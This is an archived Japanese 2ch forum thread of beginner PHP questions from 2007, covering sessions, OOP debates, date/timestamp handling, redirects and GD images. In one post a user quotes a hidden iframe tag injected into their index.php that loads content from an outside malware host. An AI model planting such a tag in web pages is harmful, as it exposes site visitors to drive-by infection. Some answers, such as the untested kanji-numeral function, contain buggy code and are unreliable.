トップページphp
1001コメント331KB

【PHP】下らねぇ質問はここに書き込みやがれ 45

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん2007/05/12(土) 16:42:48ID:???
まず読め→【PHP マニュアル】http://www.php.net/manual/ja/
PHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。
過去スレ、関連スレ、FAQなどは>>2-10辺り

◆前スレ
【PHP】下らねぇ質問はここに書き込みやがれ 45
http://pc11.2ch.net/test/read.cgi/php/1177635762/

◆質問する時の注意
・ 自分のIDを表示させること。(メール欄に何も記述しないこと。空白も入力しちゃダメ)
・ サーバーのOS(Linux、Windows他)、WebサーバーとPHPの種類やバージョン等を明記すること。
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。

◆質問後の注意
・偽者防止に必ずIDを表示させること。(メール欄に何も記述しない)
・2回目以降は最初に質問した際のレス番号を名前欄に入れること。
・解決しなくても回答をもらった場合はお礼を言うこと。
 (荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)

◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。

【その他諸注意】
・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
・SQLについての質問はデータベース板(PCカテゴリ)の各スレで
0622nobodyさん2007/06/04(月) 18:46:04ID:???
>>620
セッションidって物が有るから
0623nobodyさん2007/06/04(月) 19:00:04ID:???
>>621
ヒント 16進数
0624虚弱PHP2007/06/04(月) 19:03:20ID:???
>>620
厳密には正しくないけど最初は↓みたいに理解するといいかも。

○ユーザー毎にセッションIDが付けられる。
 → これをブラウザのクッキーに保存

○セッションID毎にセッションファイルが作られる。
 → ブラウザクッキーとして送られたセッションIDをもとに読み出し
0625nobodyさん2007/06/04(月) 21:31:58ID:???
>>620に釣られたんだけど、セッションって何も設定しなくてもクッキー使わないんだよね?
06264412007/06/04(月) 21:51:29ID:g5MJj3HB
>>619
>classに隠蔽したほうが使いまわせれるというのはどういうことですか?
>毎回オブジェクトをつくらないといけないですよね?

確かに、書き捨ての簡単な処理しか必要ない、機能追加もメンテも全部一人でこなすというのなら
無理にする必要は無いとは思うけど。

ただ、使えるけど使わない 使えないから使わない
は全然違うから、とりあえず使えるようにすることから始めてみればいいのでは。

メリットを理解するのは
ttp://itpro.nikkeibp.co.jp/article/COLUMN/20060921/248617/ とか、
ttp://www-06.ibm.com/jp/developerworks/opensource/060901/j_os-php-designptrns.shtml とかか、


>画面遷移が増えてきたり
>フォームかurlでしか次の表示に変数は渡せないですよね?

有る意味ではその通りだし、有る意味では違うともいえるかも。
class云々とは若干離れるが、

変数(+オブジェクト)の受け渡しは、 serialize ttp://jp.php.net/serialize を使う方法もある。

最近は json and xajax 使ってるけど。 なるべく画面遷移させたくないからね。
単純な登録・更新・削除だけだと、べたべた書いても変わらないけど
curl+パース→結果によりPOSTを分岐+DB格納 とかを組み合わせた
バッチ系の処理を書くと、クラス化して隔離・隠蔽しとかないと、あとで訳わからなくなってくるんすよ。

まぁ覚えておいて損は無いからまずは習得+模倣から始めればよいと思う。
0627nobodyさん2007/06/04(月) 21:58:09ID:???
>メリットを理解するのは
>ttp://itpro.nikkeibp.co.jp/article/COLUMN/20060921/248617/ とか、
これはいくらなんでも電波だな。電波と言うか無内容
06284412007/06/04(月) 22:13:23ID:g5MJj3HB
>>627

平易で良くまとまっているポインタが有れば、差してくださいな。

中・高・大・大人(というか環境)によって見え方と捉え方が違うから難しいっす。




0629nobodyさん2007/06/04(月) 22:26:07ID:5+o3owYS
>>使えるけど使わない 使えないから使わない
いつ使ったらいいかわからないんです
単に遠まわしにしているとしか感じないです。
ただのユーザー関数とクラス化したもので
例えばどういう処理orアプリにおいて便利なるんですか?
ユーザー関数だと、こういう風に格納しまくらなきゃいけなくて
オブジェクトならこんな風に数行で…みたいな
0630nobodyさん2007/06/04(月) 22:35:46ID:???
OOPは考えるな、書いて感じろ
06314412007/06/04(月) 22:35:58ID:g5MJj3HB
>>629
乱暴に一言でいうと、単純なユーザー関数だと、抽象化 継承が出来ない。
一連の機能を継承して新たな機能を派生で作るとかね。

遠回しという感覚は確かにその通りに感じると思う。
というか遠回しにしているからこそ拡張出来る。


だから、有る程度の複雑性と多様性が無いと、純粋なコードを書く量は増えてしまうだけで、
メリットを享受出来ないかも。
0632nobodyさん2007/06/04(月) 22:43:50ID:???
リンク先でも書いてるけど、OOPの特徴といったらカプセル化、継承、ポリモーフィズムなんだろう。
一人で開発していて、再利用するつもりもなくて、拡張性の必要もない場合に加えて、
言語はPHPというなら、別にOOPする必要はないんじゃないか。
0633nobodyさん2007/06/04(月) 22:50:17ID:???
ないよ
とりあえずOOPで書いてみて何がいいのかを体感しようとせず
頭だけで理解しようとする奴にはいつまでたっても無理だから
0634nobodyさん2007/06/04(月) 22:57:02ID:???
>>632

そうだと思うよ。急いでその場しのぎで作るなら無理にする必要はないとも思う。
OOPが目的のOOPでの実装は意味がないと思っている。

趣味とか、やっつけ仕事、数百行程度の実装なら別にいいんじゃないか。


ただ、そのまま機能を作り込んでいくと、

「あの機能とよく処理にてる」とか
「あの処理のあの機能を引っぺがして、ちょこっと変えてこっちにも組み込みたい」
「ほとんど似ている手続きなんだけど微妙に分岐が違う一連の手続きを定期的に連続実行したい。」
とかが頻発してくる。

んで、よく似た同じ事をコピペとかでくむと、後で修正するときも、同じような機能で微妙に違う箇所を
grepして抽出して、書き換えるとかいった面倒なことになる。書き換えるだけならいいけど、テストも過給的に
増えてメンドクセーとかね。

だから、必須ではないけど、使えるようにしておいた方が何かとつぶしは効くかも。
0635nobodyさん2007/06/04(月) 22:59:49ID:???
>>630は名言だろww
06364412007/06/04(月) 23:03:21ID:g5MJj3HB
>>634
ID晒し忘れた。
0637nobodyさん2007/06/04(月) 23:12:23ID:gV5OyYxv
初心者に近い人が「これつくってみると一気にレベルアップするよ」的なものってありますか?
0638nobodyさん2007/06/04(月) 23:22:45ID:???
ブログ
0639nobodyさん2007/06/04(月) 23:24:34ID:???
自分で造るにしても、他のソースを参考にしないと進歩しない
0640nobodyさん2007/06/04(月) 23:25:12ID:???
とりあえず自力で作ってみて詰まるのもいいんじゃね?
0641nobodyさん2007/06/04(月) 23:29:34ID:???
自分でゼロから作って、完成させる。

人のソースを見て、自分のソースをリファクタする。

これが、最強の教育アルゴリズム。
0642nobodyさん2007/06/04(月) 23:33:42ID:???
PHP5.2.2からOCIでOracle8i(8.1.5)に繋げた人いる?
0643nobodyさん2007/06/04(月) 23:35:13ID:???
いない
0644nobodyさん2007/06/04(月) 23:42:42ID:???
>>638-641
ありがとうございます トランバック、RSS、コメントにそれらを管理するものetc
確かに勉強になりそうです

>>641さん方式が向いてそうなのでそれで進めてみますが、おすすめの既存ソースはありますか?
読みやすくて完成度が高いもの、XSS等虚弱性なんて当然なくて
サニタライズがしっかりしているものはどんなものがありますか?wordpressのように高機能でなくて良いです
0645nobodyさん2007/06/04(月) 23:43:59ID:???
>>637
http://developer.yahoo.co.jp/
とか使ってなんか面白いものを作るとか。

生きてて変化するデータを使う方が何かと楽しいとは思う。
0646nobodyさん2007/06/05(火) 00:03:22ID:???
トランバック サニタライズ
0647nobodyさん2007/06/05(火) 00:26:04ID:/9Tx9T4K
数字を漢数字に変換する方法を教えて下さい(>_<)
0648nobodyさん2007/06/05(火) 00:31:46ID:m4nsZU4o
>>抽象化 継承が出来ない。
ああー
まずは継承や再利用の価値を勉強すればいいんですね
0649nobodyさん2007/06/05(火) 00:58:06ID:???
>>647

if($string == "1"){
$string == "一";
}
0650nobodyさん2007/06/05(火) 01:03:27ID:???
>>647
function hoge($val) {
if ($val==0) {return '零';}
$len = strlen($val);
$j = 0;
$kansuuji = array('','一','二','三','四','五','六','七','八','九');
$kurai1 = array('','十','百','千');
$kurai2 = array('','万','億','兆');
$answer = "";
for ($i = $len-1; $i >= 0; $i++) {
if (0==($j % 4)) {
$answer .= array_shift($kurai2);
} else {
$answer .= $kurai1[$j % 4];
}
$answer .= $kansuuji[substr($val, $i, 1)];
}
$j++;
}
}

ちゃんと動くかは知らん
0651nobodyさん2007/06/05(火) 01:06:28ID:???
CGIのようなバッチ処理でオブジェクト指向は完全に無意味で非効率。
唯一イベント駆動型のGUIで意味がある。ウインドウやボタンをオブジェクトとして、
オブジェクト毎に色や形(プロパティ)やイベント(メソッド)を定義するだけだから。
06524412007/06/05(火) 01:06:53ID:J7TorZ22
>>648

継承と再利用の価値は 勉強つうか >>630 だとおもう

1)仕事じゃないんだったら、最初は周りくどいことは気にせずテキトーに Aという仕組みを作ってみる。
(登録・更新・削除・参照・バッチ処理があるようなものがいいか)

2)テキトーに作ったAを機能分割、汎用化して一つ一つの処理の複雑度を下げてA’を作る

3) 2を使ってBを作ってみる

4) 1を使って Bを作ってみる

という流れかもね。

初めからいきなり 2) → 3)が作れればそれが最短だけど、
1)を作れないのならば、いきなり抽象化と再利用ができるようにはならないかも。

ついでに言うとコーディングレベルでの抽象化と再利用だけだとうまく分割出来ないともいえる。
規模・要件によって、最適解と抽象化の粒度は異なるわけ。

再利用する必要が無いものを、汎用化して工数が余計に掛かる位ならべた書きでも
速攻仕上げた方が最適だったりする。
0653nobodyさん2007/06/05(火) 01:07:36ID:???
>>647
1文字だけ変えるのなら>>649のような感じでいいけど、
数文字いっぺんに変えるなら正規表現で置き換えのほうが楽。
30000を三万とかにするならかなり複雑になると思う。
0654nobodyさん2007/06/05(火) 01:08:36ID:???
>>651
StrutsやRailsの立場はどーなんねん
つか、バッチて言葉の意味わかってる?
0655nobodyさん2007/06/05(火) 01:10:08ID:???
※くだらない質問スレで議論するのはやめてください
これ以上やるならクソスレ立てて誘導します。
0656nobodyさん2007/06/05(火) 01:18:11ID:???
>>655
クソスレ立てるのは賛成だけど、
スレのサブタイトルに、「日本共産党員お断り」って入れておいて。
0657nobodyさん2007/06/05(火) 01:21:00ID:???
>>654
反論があれば具体的にどーぞ。
Railsがどんな功績や効率的な処理を実現しましたか?
ほんとCGI系でオブジェクト指向なんてひとつも意味無いから。
RubyはVisualCOBOLみたいなもんだよ。アホな人的資源の救済措置。
0658nobodyさん2007/06/05(火) 01:25:07ID:J7TorZ22
>>655
ここがそのクソスレ(ry
すまん 吊ってきます。
0659nobodyさん2007/06/05(火) 01:26:25ID:???
ちなみにここで繰り返し出てきたオブジェクト指向の長所とやらは
全て手続き型で実現可能な物事です。まぁ当たり前なんだけどね。
オブジェクト指向自体が手続き型で実装されているわけだから。

自分で実際やってみるとわかるけど、スクリプト言語でオブジェクト指向的
振る舞いを繰り返すと、すぐに重くてどうにもならなくなる。
また全体に知能が低めに設定されているのか、オブジェクト指向派は動的な
構成を好み、決まってHTMLを生成しようとしない。
0660nobodyさん2007/06/05(火) 01:37:59ID:???
>>659
いまどきOOが重いとか貧民的プログラムが必要な環境ならCで組むことをオヌヌメするよ
0661nobodyさん2007/06/05(火) 01:58:10ID:???
>>660
な。知能低いだろ。HTML生成型という発想そのものが無く、Cで書けば速いと
思い込んでいる。自分で書いたことも無さそうなのにw
こんな5年10年使い込まれた泣き言が飛び出すとは、この糞スレだけ時の流れが
止まってるのでしょうか。サーバサイドは誰でもどんな時代でも少しでも軽い方が
良いに決まっているのにねぇ。私はカウンタだけCで書いています。関係無いけどね。
0662nobodyさん2007/06/05(火) 02:04:37ID:???
※2度目の忠告です
議論は他にいってやってください。
0663nobodyさん2007/06/05(火) 02:06:37ID:???
>>659
君が独自の試行錯誤の末に何かを得たのはわかった。
でも一般性に欠けるから、人に押し付けないでね。
0664nobodyさん2007/06/05(火) 02:11:18ID:???
>>655 >>662
何この偉そうな馬鹿?何様だよ^^;;
0665nobodyさん2007/06/05(火) 02:13:37ID:???
>>655
糞スレ立てるなんて犯罪予告だぜ!
通報しますた。
0666nobodyさん2007/06/05(火) 02:14:37ID:???
うちも変更されないようなページはHTMLを生成するな

社内向けシステムなら動的にページを生成したときの
レスポンスの悪さもある程度がまんしてもらえるけど
ネットに公開するようなサイトだとそれだと困るからな〜
0667nobodyさん2007/06/05(火) 02:34:09ID:???
クソスレ立てるのは賛成だけど、
スレのサブタイトルに、「日本共産党員お断り」って入れておいて。
0668nobodyさん2007/06/05(火) 04:20:29ID:???
>>250
いや、やっぱり見えるか見えないかそんな所が一番。
特に周りに広がるメラニン色素の沈着がタマラナイ。
06696682007/06/05(火) 04:21:30ID:???
うそです
0670虚弱PHP2007/06/05(火) 10:16:30ID:???
まあ、なにはともあれOOPを「勉強」するならPHPはいい回答ではない。
0671nobodyさん2007/06/05(火) 11:54:18ID:4B8PpfOt
ただ単にリダイレクトさせるためだけにPHPを使いたいんだけど、

<?php header("Location: 転送先URL"); ?>

だけテキストで入力して、
その後、拡張子をPHPにすればOKでしょうか?

あと、このリダイレクトの方法って、メタと違って
ブラウザ側で拒否出来ないという認識で問題ないですか?
0672nobodyさん2007/06/05(火) 12:07:33ID:???
>>671
PHPが動くサーバー設定になってるならそれで大丈夫じゃない?
0673nobodyさん2007/06/05(火) 13:08:10ID:???
>>671
ブラウザで拒否できないというか、
正常なブラウザならhttpヘッダを見て挙動を決めるので、
それでリダイレクトされる。
逆にそれでリダイレクトされないなら、
そのブラウザがブラウザとしての最低限の機能を搭載してないってこと。
つまりブラウザにあらず。
0674nobodyさん2007/06/05(火) 13:19:13ID:4B8PpfOt
>>672
有り難うございます。
一応、動くのは試してみてわかっているのですが、
PHP自体をほとんど理解していないので
なにか足りないのではないかと
ちょっと心配になり聞いてみました。

>>673
有り難うございます。
PHPは現在、初心者本片手に勉強してるんですが、
まだまだ理解が乏しいので助かりました。
言われてなるほどですね。
0675nobodyさん2007/06/05(火) 13:29:59ID:???
>>620>>625
セッション関数を使うと、「セッションクッキー」という特殊なクッキーが
自動で発行される。


>セッションはクッキーと違い(中略)あるユーザーが取得したセッションで管理されてる変数を・・・
共有できるわけねぇだろ、と。
それじゃセッションの意味がないだろ、と。
0676nobodyさん2007/06/05(火) 14:32:50ID:???
共有しようと思えば・・・
0677nobodyさん2007/06/05(火) 14:40:10ID:J1A5BxRH
Oracleを使いたいのですが、
標準の関数oci_connect等を使うか、
PEARのDBクラスを使うか、
PDO関数を使うか、どれを使えばよいのか迷っています。
好きなものを使うべきなのでしょうが、
皆さんならどれを使いますか?
0678nobodyさん2007/06/05(火) 14:57:10ID:???
PDOが無難
0679nobodyさん2007/06/05(火) 15:19:54ID:fm5P/WUS
質問です。
PHPスクリプトを暗号化しようと思い
php_screw( ttp://www.pm9.com/newpm9/itbiz/php/ )をインストールし
php.iniにextension=php_screw.soと記述し、phpを実行すると
以下のようなエラーが出てしまいます。

PHP Warning: Unknown(): Unable to load dynamic library
'/usr/local/lib/php/extension/no-debug-non-zts-20020429/php_screw.so' -
/usr/local/lib/php/extension/no-debug-non-zts-20020429/php_screw.so:
cannot open shared object file: No such file or directory in Unknown on line 0

No such file or directorといわれていますが実際にファイルは存在しています。
何らかの原因でロードできていないんだと思いますが、検討がつきません。

どなたか分かる方いらっしゃらないでしょうか?

環境は Linux(CentOS4.4) + PHP 4.4.4です。
0680nobodyさん2007/06/05(火) 15:24:34ID:Q4Q2J1Ec
Web関係の求人サイト見て思ったんだが、
「オープンソースでの開発経験をお持ちの方」
って書いてあったんだが、気にしなくていいよな・・・


いいバイト先ないかなぁorz
0681nobodyさん2007/06/05(火) 15:32:15ID:???
>>680
ここは人生相談スレでもチラシの裏でもありません。
0682nobodyさん2007/06/05(火) 15:33:04ID:???
>>680
開発に参加っていってもパッチを送る位なら履歴書を書きながらでもできるだろ。
適当なハックを見繕ってプロジェクトのMLにポストすりゃいいのよ。
0683nobodyさん2007/06/05(火) 16:10:55ID:???
long 型の Unix タイムスタンプ(数字13ケタ)を人間が読めるように表示したい。

Java だと、以下のような感じでできた。

Long mylong = new Long("1181025482687");
Date date = new Date(mylong.longValue());
System.out.println(date);

PHP で同じようなことをしたいと思い、

$param = "1181025482";
$today = date('Y-m-d H:i:s', $param);
print($today);

こんなコードを書いたが、date() や gettime() は int 型しか受け取れない。
Java みたいに long を受け取れる関数はありますか?

やりたいことですが、今使っている他システムが、ログに時刻を Unix タイムスタンプ(long型)で
出力しやがるので、それを見やすくする web 変換ページを作りたいのです。
0684nobodyさん2007/06/05(火) 16:17:33ID:???
>>683
>>1
0685nobodyさん2007/06/05(火) 16:18:48ID:Ku9URNE5
N進数→N進数の変換をしたいんだけど
割って位を出していくでしょ?
数が巨大になると、PHPが整数として扱える範囲を超えて、
割れなくなる。
この難問どうすれば解けますか?
0686nobodyさん2007/06/05(火) 16:21:56ID:???
>>685
数いくつかに分ければいいんじゃね?
06876832007/06/05(火) 16:26:41ID:vO+V39fB
すみません、sage は NG ということを知りませんでした。

サーバのOS:CentOS4.4
PHPのバージョン:PHP 4.3.9
Webサーバ:2.0.52
0688nobodyさん2007/06/05(火) 16:48:52ID:???
>>687
そのコードで何が問題?

>>685
http://php.net/base_convert
0689nobodyさん2007/06/05(火) 16:53:20ID:???
>>683
型キャストすればいいんでないの?
06906832007/06/05(火) 16:58:40ID:vO+V39fB
>>688

date() 関数に 1181025482687 のような13桁を渡すと、
オーバーフローしてしまいます。

Long mylong = new Long("1181025482687");
Date date = new Date(mylong.longValue());
System.out.println(date);  // 2007/06/05 15:38:02 が表示される

同じ "1181025482687"を >>683 のコードに渡すと
2038-01-19 12:14:07 が表示されてしまいます。
>>683 のように、"1181025482"(後ろ3文字をカット)すると、
2007-06-05 15:38:02
が表示されます。

実際にはミリ病は必要ないのでこれでいいのですが、
PHP でも、Java のように long 型で受け取れないのかなと思い
質問しました。

>>689
キャストしてみた。

$param = "1181025482687";
$today = date('Y-m-d H:i:s', (int)$param); // (intをつけた)

結果は、やはり 2038-01-19 ・・・ が表示されてしまう。
0691nobodyさん2007/06/05(火) 17:00:10ID:???
>>690
date('Y-m-d H:i:s',1181025482687 / 1000)

2007-06-05 15:38:02

割ればいいんでないの?
06926832007/06/05(火) 17:11:04ID:vO+V39fB
>>691
とりあえず割ることで対応しました。
自分が作った関数には13ケタの数字をそのまま渡したいのですが、
出力にはミリ秒が含まれなくても別にかまわないので。

# date() の出力フォーマットにミリ秒が出せるのは、PHP 5.2.2 からのようですね

http://www.php.net/manual/ja/function.date.php
をみると、date() の引数は int 型なので、結局 long は渡せないし、
ほかにそのような関数もない、ということなのかな。

っつーか http://www.php.net/manual/ja/language.types.php を見ているのですが、
もしかして PHP は long がない?
(整数は、10進だと10ケタまで?)

すみません、頭の中がJavaかCなもので・・・
0693nobodyさん2007/06/05(火) 17:13:06ID:???
UNIXタイムスタンプって普通秒単位だろ?
ミリ秒単位で渡すなよ.
例え桁あふれがなくても1181025482687秒と認識されるだろが
0694nobodyさん2007/06/05(火) 17:21:02ID:???
>>692
普通にlong型はないね。
intの範囲(-2147483647〜2147483647)を超えるとfloatになる。
06956832007/06/05(火) 17:29:28ID:vO+V39fB
>>693-694
レスどうもありがとうございます。
すみません、Unix タイムスタンプ(time_t ?)という書き方がよくなかったでした。
やりたかったことは、とにかく 時刻表現が1970/1/1 からのミリ秒として13ケタの数字でわたってくるので、
これを人間の読めるようにしたかった、でした。

PHP の time() 関数が、精度を秒で返すのは、
PHP の time() が C の time() でできているからかな?
0696nobodyさん2007/06/05(火) 17:36:10ID:???
逆にUNIXタイムスタンプをミリ秒まで数えてるのをJSしか知らない
0697nobodyさん2007/06/05(火) 17:43:47ID:???
>>696
その問題は変数の型とは全く関係ないっしょ。
確かにDate.getTimeとかで1970/1/1からのミリ秒で返ってくるんだろうけど
それは「UNIXタイムスタンプ」とは非なるもの。
適当に3桁削るか自作関数作りなるなりして対応すればいいんでないの.

つかマニュアル見れば分かることだけどlong型なんてないし
型が違ったら自動的にキャストしてくれるから引数の型は意識しなくもいい。

$param = "1181025482";
$today = date('Y-m-d H:i:s', $param);
print($today);

そもそも最初の例のこれだと$paramはstring型だしな。
0698nobodyさん2007/06/05(火) 17:47:29ID:???
久々に2038年問題を思い出した
                  クダラネー
0699nobodyさん2007/06/05(火) 17:57:33ID:???
>>679
書いてるまんまだと思うが、パスが違う、パーミッションが違うとかつまんねー理由だと思う。
0700nobodyさん2007/06/05(火) 18:11:13ID:DIaHasCn
すいません、こんな感じのタグが、index.phpに勝手に追加される事があります。
これって、サーバがやられてしまったのでしょうか?

<iframe src='http://quickcnt.com/ld/axhst/' width='1' height='1' style='visibility: hidden;'></iframe>
0701nobodyさん2007/06/05(火) 18:35:24ID:???
>>700
自分のスクリプトに穴があるとは考えないんだな
0702nobodyさん2007/06/05(火) 18:39:10ID:???
Dreamweaver使ってるんじゃまいか?
0703nobodyさん2007/06/05(火) 18:41:05ID:???
自鯖ならそく閉鎖しる
07047002007/06/05(火) 19:03:42ID:DIaHasCn
レス、ありがとうございます。

>>自分のスクリプトに穴があるとは考えないんだな
問題のあるコードを書いているかもしれません。。。

>>Dreamweaver使ってるんじゃまいか?
使ってます、問題あるのでしょうか?

>>自鯖ならそく閉鎖しる
閉鎖しました
0705nobodyさん2007/06/05(火) 19:05:35ID:???
>閉鎖しました
はやいなw
0706nobodyさん2007/06/05(火) 19:21:06ID:???
>>704
http://www.itmedia.co.jp/enterprise/articles/0702/08/news027.html
0707nobodyさん2007/06/05(火) 19:37:41ID:???
せっかくだからその穴だらけのコード晒してけよ
0708nobodyさん2007/06/05(火) 19:55:06ID:???
現実に個人レベルでもクラックってされるんだなw
脆弱性のあるスクリプトがどういうものなのか気になる。
今後の参考にもぜひみせてもらいたい。
0709nobodyさん2007/06/05(火) 20:34:47ID:6blsZ/zS
初心者ですが教えて下さい。「変数に値が入ってなかったら」
というのは、どういう風に表現されるのですか?

変数Aに、値が入っていなかったら、変数Bを変数Xに代入せよ。
変数Aに、値が入っていたら、変数Xには変数Aを代入せよ。

ということを書く場合、
if($a==""){$x=$b}
else
{$x=$a}

じゃ、うまくいかないんですが、未定義・null・値が入ってない、
といったことを表現するのはどう表現するのでしょう?

0710nobodyさん2007/06/05(火) 20:38:11ID:???
>>709
http://jp.php.net/empty
0711nobodyさん2007/06/05(火) 20:38:22ID:???
>>709
「初心者ですが教えて下さい。」←これタブーね

if($a){
echo "入っています";
}else{
echo "入っていません";
}
0712nobodyさん2007/06/05(火) 20:41:11ID:???
>>709
ttp://jp.php.net/manual/ja/function.isset.php
ttp://jp.php.net/manual/ja/function.is-null.php
ttp://jp.php.net/manual/ja/function.empty.php
0713nobodyさん2007/06/05(火) 20:42:10ID:???
>>711
それ$aが0のときダメなんじゃん?
0714nobodyさん2007/06/05(火) 20:47:01ID:MIae8p3r
GDを使った画像の透明化がうまくいきません。
imagepng()で作成した場合はちゃんと透明化されるのですが、
imagegif()を使用すると透明化されません。
サーバによって上手くいく場合もあるのですが何を調べるべきなのかもわからない状態です。
何かご存知でしたらご教授お願いします。

↓テスト用にソースを抜き出しました。
<?
$image = imagecreatetruecolor(20,20);
$color = ImageColorClosest($image,255,255,255);
for($i=1;$i<=10;$i++){
for($j=1;$j<=20;$j++){
imagesetpixel($image,$j-1,$i-1,$color);
}
}
$color = ImageColorClosest($image,200,0,5);
//透明にする予定の色で半分だけ塗りつぶし
for($i=11;$i<=20;$i++){
for($j=1;$j<=20;$j++){
imagesetpixel($image,$j-1,$i-1,$color);
}
}
$permeateColor = ImageColorClosest($image,200,0,5);
imagecolortransparent($image,$permeateColor);
$file = "./test.gif";
imagegif($image,$file);
//$file = "./test.png";
//imagepng($image,$file); これならうまくいく
0715nobodyさん2007/06/05(火) 20:51:11ID:6blsZ/zS
私は >>709 です。

すごい すごい!
こんなに素速く返事があるなんて!
あまりに初歩的すぎて、皆さんから怒られるかと思いましたが、
適切なご教示を頂きありがとうございました。
マニュアルとか解説系HPでも分からなかったのですが、
isset ってのも見かけては居たのですが、その変数が宣言されて
いるかどうかを調べる関数に違いないと即断していました。
いろいろあるんですね。
ありがとうございました m(..)m
0716nobodyさん2007/06/05(火) 20:51:41ID:???
>>714
> サーバによって上手くいく場合もあるのですが何を調べるべきなのかもわからない状態です。
とりあえず上手くいくサーバといかないサーバのGDのバージョンをリストアップしてみれば
0717nobodyさん2007/06/05(火) 21:07:48ID:EQxq7rXd
セッションについて質問です

error_reporting(E_ALL);
if(isset($_COOKIE["hoge"])){

ini_set("session.gc_maxlifetime",14*86400);
ini_set("session.cookie_path","/hogehoge/");
ini_set("session.cookie_lifetime",14*86400);
ini_set("session.save_path","./hogehogehoge/");
ini_set("session.use_only_cookies",1);

session_start();
$sestmp=$_SESSION;
session_destroy();
session_id(md5(uniqid(rand(),true)));
session_start();
$_SESSION=$sestmp;
}
//以降省略

上記のコードですが、テスト環境(Windows+AN HTTPD+PHP5.2.1)では問題は無いのですが、レンサバ(Linux+Apache1.3+PHP5.1.6)で動かした所、特にエラーメッセージ等も無いのにセッションファイルがカラッポ(0バイト)になってしまいます。
単にsession_start();とした場合は期待通りに動作するのですが、session_start();session_regenerate_id(true);では駄目でした。

ローカルではいずれも意図した通りに動作するのに、何故レンサバでは動かないのでしょうか?
また解決するにはどうすれば良いのでしょうか?
0718nobodyさん2007/06/05(火) 21:09:00ID:???
>>686
アルゴリズムが難解すぎて…
具体的にどうやればいいですか?
>>688
最初はそれ使ってましたが
巨大になると挙動がおかしくなるんです

// ここまではok
echo base_convert('fffffffffffff',16,16);

// ここからng
echo base_convert('ffffffffffffff',16,16);
0719nobodyさん2007/06/05(火) 21:28:52ID:???
つ 一歩進んで前習え
0720nobodyさん2007/06/05(火) 21:30:26ID:???
>>717
環境依存すぎ。
そういうことするまえに、
なにもせずに
session_start();で
var_dump($_SESSION);
が可能かどうかをしめすべきだ。
07217172007/06/05(火) 21:42:20ID:EQxq7rXd
>>720
ローカル、レンサバ共にarray(0) { }でした

環境依存と言いますと、どこかに汎用性の無い関数でも使っていましたか?
session.cookie_path等は前述のように単にsession_startした場合は大丈夫でしたので問題は無いと思います。
0722nobodyさん2007/06/05(火) 22:09:27ID:???
>>718
>アルゴリズムが難解すぎて…
ふむ、どの辺まで考えたの?
>巨大になると挙動がおかしくなるんです
まぁその理由はマニュアルに書いてあるけどね。
■ このスレッドは過去ログ倉庫に格納されています